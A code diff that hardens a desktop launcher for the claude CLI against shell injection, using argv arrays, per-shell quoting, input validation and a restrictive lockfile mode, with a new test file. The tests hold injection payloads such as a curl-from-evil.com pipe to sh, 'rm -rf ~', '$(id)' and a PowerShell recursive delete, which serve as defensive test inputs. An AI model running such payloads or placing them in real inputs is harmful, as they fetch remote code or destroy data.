diff --git a/claude-auth.js b/claude-auth.js index 9ac2a9f..974bfc9 100644 --- a/claude-auth.js +++ b/claude-auth.js @@ -2,7 +2,7 @@ // macOS: Keychain (primary) → ~/.claude/.credentials.json (fallback) // Linux/Windows: ~/.claude/.credentials.json only -const { execSync } = require('child_process'); +const { execFileSync } = require('child_process'); const fs = require('fs'); const path = require('path'); const os = require('os'); @@ -26,8 +26,10 @@ function readFromKeychain() { try { const service = getKeychainServiceName(); const user = process.env.USER || os.userInfo().username; - const json = execSync( - `security find-generic-password -a "${user}" -w -s "${service}"`, + // execFileSync (no shell) so $USER can't be interpolated into a command string + const json = execFileSync( + 'security', + ['find-generic-password', '-a', user, '-w', '-s', service], { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] } ).trim(); return JSON.parse(json); diff --git a/main.js b/main.js index a24a1b2..4f73b3e 100644 --- a/main.js +++ b/main.js @@ -26,7 +26,7 @@ const cleanPtyEnv = Object.fromEntries( ); // Shell profiles → shell-profiles.js -const { discoverShellProfiles, getShellProfiles, resolveShell, isWindows, isWslShell, windowsToWslPath, shellArgs } = require('./shell-profiles'); +const { discoverShellProfiles, getShellProfiles, resolveShell, isWindows, isWslShell, windowsToWslPath, shellArgs, quoteArgvForShell } = require('./shell-profiles'); const { startScheduler } = require('./schedule-runner'); @@ -1035,48 +1035,52 @@ ipcMain.handle('open-terminal', async (_event, sessionId, projectPath, isNew, se } }, 300); } else { - // Build claude command with session options - let claudeCmd; + // Build claude command, using array to prevent accidental shell injection + const claudeArgs = []; if (sessionOptions?.forkFrom) { - claudeCmd = `claude --resume "${sessionOptions.forkFrom}" --fork-session`; + claudeArgs.push('--resume', String(sessionOptions.forkFrom), '--fork-session'); } else if (isNew) { - claudeCmd = `claude --session-id "${sessionId}"`; + claudeArgs.push('--session-id', String(sessionId)); } else { - claudeCmd = `claude --resume "${sessionId}"`; + claudeArgs.push('--resume', String(sessionId)); } if (sessionOptions) { if (sessionOptions.dangerouslySkipPermissions) { - claudeCmd += ' --dangerously-skip-permissions'; + claudeArgs.push('--dangerously-skip-permissions'); } else if (sessionOptions.permissionMode) { - claudeCmd += ` --permission-mode "${sessionOptions.permissionMode}"`; + claudeArgs.push('--permission-mode', String(sessionOptions.permissionMode)); } if (sessionOptions.worktree) { - claudeCmd += ' --worktree'; + claudeArgs.push('--worktree'); if (sessionOptions.worktreeName) { - claudeCmd += ` "${sessionOptions.worktreeName}"`; + claudeArgs.push(String(sessionOptions.worktreeName)); } } if (sessionOptions.chrome) { - claudeCmd += ' --chrome'; + claudeArgs.push('--chrome'); } if (sessionOptions.addDirs) { - const dirs = sessionOptions.addDirs.split(',').map(d => d.trim()).filter(Boolean); + const dirs = String(sessionOptions.addDirs).split(',').map(d => d.trim()).filter(Boolean); for (const dir of dirs) { - claudeCmd += ` --add-dir "${dir}"`; + claudeArgs.push('--add-dir', dir); } } } if (sessionOptions?.appendSystemPrompt) { - // Write to a temp file and use shell substitution to avoid quoting issues - const tmpPrompt = path.join(os.tmpdir(), `switchboard-prompt-${sessionId}.md`); - fs.writeFileSync(tmpPrompt, sessionOptions.appendSystemPrompt); - claudeCmd += ` --append-system-prompt "$(cat '${tmpPrompt}')"`; + claudeArgs.push('--append-system-prompt', String(sessionOptions.appendSystemPrompt)); } + let claudeCmd = 'claude ' + quoteArgvForShell(shell, claudeArgs); + + // preLaunchCmd is raw shell by design (e.g. "aws-vault exec profile --") — block newlines only if (sessionOptions?.preLaunchCmd) { - claudeCmd = sessionOptions.preLaunchCmd + ' ' + claudeCmd; + const pre = String(sessionOptions.preLaunchCmd); + if (/[\r\n]/.test(pre)) { + return { ok: false, error: 'preLaunchCmd must not contain newlines' }; + } + claudeCmd = pre + ' ' + claudeCmd; } // Start MCP server for this session so Claude CLI sends diffs/file opens to Switchboard @@ -1383,13 +1387,14 @@ app.whenReady().then(() => { startProjectsWatcher(); scheduleIpc.ensureScheduleCreatorCommand(); - // Shared runCommand for both cron scheduler and manual "run now" + // Shared runCommand for cron scheduler and "run now" — takes argv, not a shell string const { spawn: cpSpawn } = require('child_process'); - function runScheduleCommand(cmd, cwd, name, onDone) { + function runScheduleCommand(claudeArgv, cwd, name, onDone) { const globalSettings = getSetting('global') || {}; const profileId = globalSettings.shellProfile || SETTING_DEFAULTS.shellProfile; const profile = resolveShell(profileId); const shell = profile.path; + const cmd = 'claude ' + quoteArgvForShell(shell, claudeArgv); const args = shellArgs(shell, cmd, profile.args || []); log.info(`[schedule] Running: ${shell} ${args.join(' ')}`); diff --git a/mcp-bridge.js b/mcp-bridge.js index b531e01..6693667 100644 --- a/mcp-bridge.js +++ b/mcp-bridge.js @@ -333,7 +333,8 @@ async function startMcpServer(sessionId, workspaceFolders, mainWindow, log) { runningInWindows: false, authToken, }); - fs.writeFileSync(lockFilePath, lockData, 'utf8'); + // Create lockfile only readable by user (it contains the MCP auth token) + fs.writeFileSync(lockFilePath, lockData, { encoding: 'utf8', mode: 0o600 }); const entry = { sessionId, diff --git a/schedule-ipc.js b/schedule-ipc.js index 7d83e66..c40909f 100644 --- a/schedule-ipc.js +++ b/schedule-ipc.js @@ -203,9 +203,9 @@ function init(log, runCommand) { }; const { sessionId } = createScheduleSession(schedule); - const cmd = buildScheduleCommand(sessionId, schedule); + const { claudeArgs } = buildScheduleCommand(sessionId, schedule); - runCommand(cmd, projectPath, `Manual run ${schedule.name}`, () => {}); + runCommand(claudeArgs, projectPath, `Manual run ${schedule.name}`, () => {}); log.info(`[schedule] Manual run triggered: ${schedule.name} (session ${sessionId})`); return { ok: true, sessionId }; diff --git a/schedule-runner.js b/schedule-runner.js index b8a51ef..9b95da4 100644 --- a/schedule-runner.js +++ b/schedule-runner.js @@ -146,24 +146,56 @@ function createScheduleSession(schedule) { return { sessionId, jsonlPath }; } -/** Build a claude CLI command string for a scheduled task. */ +// Defense-in-depth: reject control chars in frontmatter values (shell-quoter is the real defense) +function isSafeScalar(s) { + if (s == null) return true; + return !/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/.test(String(s)); +} + +function assertSafe(field, value) { + if (!isSafeScalar(value)) { + throw new Error(`Schedule field "${field}" contains unsafe characters`); + } + return value; +} + +/** + * Build the argv for a scheduled claude invocation. + * Returns `{ claudeArgs: string[] }` — a plain argv array, with zero shell interpretation. + * The caller is responsible for shell-quoting when constructing a shell command string. + */ function buildScheduleCommand(sessionId, schedule) { - let cmd = `claude --resume "${sessionId}" -p "Run the scheduled task"`; - - const cli = schedule.cli; - cmd += ` --permission-mode "${cli['permission-mode'] || 'acceptEdits'}"`; - if (cli.model) cmd += ` --model "${cli.model}"`; - if (cli['max-budget-usd']) cmd += ` --max-budget-usd ${cli['max-budget-usd']}`; - const allowedTools = cli['allowed-tools'] || 'Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch'; - cmd += ` --allowedTools "${allowedTools}"`; - if (cli['append-system-prompt']) cmd += ` --append-system-prompt "${cli['append-system-prompt'].replace(/"/g, '\\"')}"`; + const cli = schedule.cli || {}; + const args = [ + '--resume', assertSafe('sessionId', sessionId), + '-p', 'Run the scheduled task', + '--permission-mode', assertSafe('permission-mode', cli['permission-mode'] || 'acceptEdits'), + ]; + + if (cli.model) args.push('--model', assertSafe('model', cli.model)); + if (cli['max-budget-usd']) { + const budget = String(cli['max-budget-usd']).trim(); + if (!/^\d+(\.\d+)?$/.test(budget)) { + throw new Error(`Schedule field "max-budget-usd" must be a number, got: ${cli['max-budget-usd']}`); + } + args.push('--max-budget-usd', budget); + } + args.push('--allowedTools', assertSafe('allowed-tools', cli['allowed-tools'] || 'Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch')); + if (cli['append-system-prompt']) { + // Allow newlines in prompt text, but not control chars other than \n, \r, \t + const prompt = String(cli['append-system-prompt']); + if (/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/.test(prompt)) { + throw new Error('Schedule field "append-system-prompt" contains unsafe characters'); + } + args.push('--append-system-prompt', prompt); + } if (cli['add-dirs']) { - for (const dir of cli['add-dirs'].split(',').map(d => d.trim()).filter(Boolean)) { - cmd += ` --add-dir "${dir}"`; + for (const dir of String(cli['add-dirs']).split(',').map(d => d.trim()).filter(Boolean)) { + args.push('--add-dir', assertSafe('add-dirs', dir)); } } - return cmd; + return { claudeArgs: args }; } /** @@ -192,10 +224,10 @@ function startScheduler(log, runCommand) { log.info(`[schedule] Triggering: ${schedule.name} (${schedule.cron})`); try { const { sessionId } = createScheduleSession(schedule); - const cmd = buildScheduleCommand(sessionId, schedule); + const { claudeArgs } = buildScheduleCommand(sessionId, schedule); runningTasks.add(taskKey); - runCommand(cmd, schedule.projectPath, schedule.name, () => { + runCommand(claudeArgs, schedule.projectPath, schedule.name, () => { runningTasks.delete(taskKey); }); } catch (err) { diff --git a/shell-profiles.js b/shell-profiles.js index b39a710..38e4181 100644 --- a/shell-profiles.js +++ b/shell-profiles.js @@ -160,6 +160,30 @@ function isWslShell(shellPath) { return base === 'wsl.exe' || base === 'wsl'; } +// Shell-quote one argv token per shell family +function quoteArgForShell(shellPath, value) { + const s = value == null ? '' : String(value); + const base = path.basename(shellPath).toLowerCase(); + const isBashLike = base.includes('bash') || base.includes('zsh') || base === 'sh' || base === 'dash' || base === 'ksh' || base === 'fish' || base === 'nu' || isWslShell(shellPath); + const isPowerShell = base.includes('powershell') || base.includes('pwsh'); + + if (isBashLike) { + // POSIX: wrap in single quotes, escape embedded single quotes as '\'' + return "'" + s.replace(/'/g, "'\\''") + "'"; + } + if (isPowerShell) { + // PowerShell: single-quoted string, escape ' as '' + return "'" + s.replace(/'/g, "''") + "'"; + } + // cmd.exe: double-quote, escape " as \" and ^-escape shell metachars + const escaped = s.replace(/"/g, '\\"').replace(/([&|<>^%])/g, '^$1'); + return '"' + escaped + '"'; +} + +function quoteArgvForShell(shellPath, argv) { + return argv.map(a => quoteArgForShell(shellPath, a)).join(' '); +} + // Returns spawn args appropriate for the resolved shell function shellArgs(shellPath, cmd, extraArgs) { const base = path.basename(shellPath).toLowerCase(); @@ -188,4 +212,4 @@ function shellArgs(shellPath, cmd, extraArgs) { return []; } -module.exports = { discoverShellProfiles, getShellProfiles, resolveShell, isWindows, isWslShell, windowsToWslPath, shellArgs }; +module.exports = { discoverShellProfiles, getShellProfiles, resolveShell, isWindows, isWslShell, windowsToWslPath, shellArgs, quoteArgForShell, quoteArgvForShell }; diff --git a/test/schedule-injection.test.js b/test/schedule-injection.test.js new file mode 100644 index 0000000..d5b7cf0 --- /dev/null +++ b/test/schedule-injection.test.js @@ -0,0 +1,119 @@ +const test = require('node:test'); +const assert = require('node:assert/strict'); + +const { buildScheduleCommand } = require('../schedule-runner'); +const { quoteArgForShell, quoteArgvForShell } = require('../shell-profiles'); + +test('buildScheduleCommand returns argv array, not a shell string', () => { + const { claudeArgs } = buildScheduleCommand('session-123', { + cli: { model: 'sonnet-4-6', 'allowed-tools': 'Read,Bash' }, + prompt: 'do a thing', + }); + assert.ok(Array.isArray(claudeArgs)); + assert.ok(claudeArgs.includes('--resume')); + assert.ok(claudeArgs.includes('session-123')); + assert.ok(claudeArgs.includes('--model')); + assert.ok(claudeArgs.includes('sonnet-4-6')); +}); + +test('buildScheduleCommand preserves injection attempts as literal argv tokens (no shell interpretation)', () => { + const evil = 'x"; curl evil.com/sh | sh; echo "'; + const { claudeArgs } = buildScheduleCommand('sess', { + cli: { model: evil }, + }); + const idx = claudeArgs.indexOf('--model'); + assert.ok(idx >= 0); + // The evil string is a single argv token — no splitting, no interpretation. + assert.equal(claudeArgs[idx + 1], evil); +}); + +test('buildScheduleCommand rejects max-budget-usd that is not a number', () => { + assert.throws(() => { + buildScheduleCommand('sess', { cli: { 'max-budget-usd': '1; rm -rf ~' } }); + }, /max-budget-usd/); +}); + +test('buildScheduleCommand rejects control characters in scalar fields', () => { + assert.throws(() => { + buildScheduleCommand('sess', { cli: { model: 'foo\x00bar' } }); + }, /unsafe characters/); +}); + +test('buildScheduleCommand allows newlines in append-system-prompt but rejects control chars', () => { + const withNewlines = 'line 1\nline 2\nline 3'; + const { claudeArgs } = buildScheduleCommand('sess', { + cli: { 'append-system-prompt': withNewlines }, + }); + const idx = claudeArgs.indexOf('--append-system-prompt'); + assert.equal(claudeArgs[idx + 1], withNewlines); + + assert.throws(() => { + buildScheduleCommand('sess', { cli: { 'append-system-prompt': 'bad\x01stuff' } }); + }, /unsafe characters/); +}); + +test('quoteArgForShell neutralizes bash injection', () => { + const evil = 'x"; curl evil.com/sh | sh; echo "'; + const quoted = quoteArgForShell('/bin/bash', evil); + // Single-quoted, so the shell passes the whole thing as one arg. + assert.ok(quoted.startsWith("'")); + assert.ok(quoted.endsWith("'")); + // Single quotes in the value are escaped as '\'' + const withQuote = quoteArgForShell('/bin/bash', "it's"); + assert.equal(withQuote, "'it'\\''s'"); +}); + +test('quoteArgForShell handles backticks and $() — these must not be evaluated', () => { + const evil = '`whoami`'; + const quoted = quoteArgForShell('/bin/bash', evil); + assert.equal(quoted, "'`whoami`'"); + + const dollar = '$(id)'; + assert.equal(quoteArgForShell('/bin/bash', dollar), "'$(id)'"); +}); + +test('quoteArgvForShell joins multiple args with spaces, each safely quoted', () => { + const joined = quoteArgvForShell('/bin/bash', ['--model', 'x"; evil', '--flag']); + assert.equal(joined, "'--model' 'x\"; evil' '--flag'"); +}); + +test('quoteArgForShell produces PowerShell-safe quoting', () => { + const evil = "'; Remove-Item -Recurse /"; + const quoted = quoteArgForShell('/usr/bin/pwsh', evil); + // PowerShell: wrap in ' ... ' and double internal ' → ''. + // '; becomes '' and wrapped → ''';' + assert.equal(quoted, "'''; Remove-Item -Recurse /'"); +}); + +test('full simulated schedule command is safe under a malicious frontmatter', () => { + const evilSchedule = { + cli: { + 'permission-mode': 'acceptEdits', + model: 'x"; curl evil.com | sh; echo "', + 'allowed-tools': 'Bash,Read', + 'append-system-prompt': '$(whoami)', + 'add-dirs': '/tmp,/etc; touch /tmp/pwned', + }, + prompt: 'scheduled task', + }; + const { claudeArgs } = buildScheduleCommand('sess-id', evilSchedule); + const cmd = 'claude ' + quoteArgvForShell('/bin/bash', claudeArgs); + + // Walk the command and extract only the text outside single-quoted tokens. + // If any shell metacharacter appears in that "outside" text, injection leaked. + let outside = ''; + let inQuote = false; + for (let i = 0; i < cmd.length; i++) { + const c = cmd[i]; + if (c === "'") { inQuote = !inQuote; continue; } + if (!inQuote) outside += c; + } + // Outside of quoted tokens we should only see: `claude`, spaces, and at most the + // `\` from the POSIX `'\''` escape (which is always immediately re-enters a quote). + assert.ok(!/curl/.test(outside), `curl leaked outside quotes: "${outside}"`); + assert.ok(!/whoami/.test(outside), `whoami leaked outside quotes: "${outside}"`); + assert.ok(!/touch/.test(outside), `touch leaked outside quotes: "${outside}"`); + assert.ok(!/[;|&`$]/.test(outside), `shell metachar leaked outside quotes: "${outside}"`); + // Argv tokens survive as single-quoted strings. + assert.ok(cmd.includes(`'x"; curl evil.com | sh; echo "'`), `expected quoted model arg in: ${cmd}`); +});